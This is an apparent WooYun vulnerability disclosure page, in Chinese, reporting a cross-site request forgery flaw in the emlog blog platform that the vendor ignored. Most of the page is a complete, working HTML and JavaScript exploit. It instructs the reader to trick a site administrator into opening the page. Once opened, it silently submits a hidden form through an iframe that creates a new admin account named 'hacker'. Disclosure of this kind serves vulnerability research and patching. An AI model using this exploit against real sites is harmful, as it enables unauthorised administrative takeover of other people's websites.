当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-051304

漏洞标题:emlog博客CSRF入侵

相关厂商:emlog.net

漏洞作者: Social

提交时间:2014-02-18 16:42

修复时间:2014-02-28 16:43

公开时间:2014-02-28 16:43

漏洞类型:CSRF

危害等级:中

自评Rank:5

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-18: 细节已通知厂商并且等待厂商处理中
2014-02-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

把攻击代码保存在一个html文件中,然后骗目标网站的管理员去访问就会被创建一个后台帐号密码

详细说明:

你把如下代码保存在一个html文件中,然后骗目标网站的管理员去访问:

<html>
<body>
<script>
gum = function(){
var u = {
'version':'1140213',
'domain':'{{domain}}',
'backinfo':{}
};
u.e = function(code){try{return eval(code)}catch(e){return ''}};
u.jquery = function(){
if(u.e('$().jquery')){return 1}else{return 0};
};
u.id = function(ids){
if(u.jquery()){
return $('#'+ids);
}else{
return document.getElementById(ids);
};
};
u.name = function(names){
return document.getElementsByTagName(names);
};
u.html = function(){
return u.name('html')[0]
||document.write('<html>')
||u.name('html')[0];
};
u.rdm = function(){return Math.random()*1e5};
u.bind = function(e, name, fn){
if(u.jquery()){
$(e).bind(name, fn);
}else{
e.addEventListener?e.addEventListener(name, fn, false):e.attachEvent('on'+name, fn);
};
};
u.kill = function(doms){
if(u.jquery()){
$(doms).remove();
}else{
doms.parentElement.removeChild(doms);
};
};
u.addom = function(html, doming, hide, callback){
(!doming)&&(doming = u.html());
var temp = document.createElement('span');
temp.innerHTML = html;
var doms = temp.children[0];
(hide)&&(doms.style.display = 'none');
callback&&u.bind(doms, 'load', callback)
doming.appendChild(doms);
return doms;
};
u.script = function(url, callback){
if(u.jquery()){
$.getScript(url, callback);
}else{
document.documentElement.appendChild(scripts = document.createElement('script')).src=url;
callback&&u.bind(scripts, 'load', callback);
u.kill(scripts);
};
};
u.ajax = function(urls, datas, callback){
var xhr;
datas?(types = 'POST'):(types = 'GET');
if(u.jquery()){
xhr = $.ajax({
type:types,
url:urls,
data:datas,
success:callback
});
return xhr;
}else{
if(window.XMLHttpRequest){
xhr = new XMLHttpRequest();
}else{
xhr = new ActiveXObject('Microsoft.XMLHTTP');
};
xhr.open(types,urls,false);
if(types=='POST'){xhr.setRequestHeader('content-type','application/x-www-form-urlencoded')};
callback&&(xhr.onreadystatechange = function(){
(this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304))&&callback.apply(this, arguments);
});
xhr.send(datas);
return xhr;
};
};
u.post = function(url, data, o, callback){
var form = u.addom("<form method='POST'>", u.html(), true);
form.action = url;
for(var name in data){
var input = document.createElement('input');
input.name = name;
input.value = data[name];
form.appendChild(input);
};
if(!o){
var iframe = u.addom('<iframe sandbox name=_'+u.rdm()+'_>', u.html(), true);
form.target = iframe.name;
};
callback&&u.bind(form, 'submit', callback);
form.submit();
(!o)&&(u.kill(form))&(setTimeout(function(){
u.kill(iframe);
}, 3*1000));
};
return u;
}();
gum.post('http://localhost/admin/user.php?action=new',{ // http://localhost就是要攻击的目标网站
'login':'hacker',
'password':'123456789',
'password2':'123456789',
'role':'admin'
});
</script>
</body>
</html>


当我们管理员访问了以后,就会给emlog增加一个用户名是hacker密码是123456789的用户:
我这个插件就防御了这个攻击。只要你保证你的域名下不存在可被利用的html,如果有xss的话就没办法了。但暂时emlog尚未发现可利用的xss漏洞。

漏洞证明:

修复方案:

版权声明:转载请注明来源 Social@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-02-28 16:43

厂商回复:

最新状态:

暂无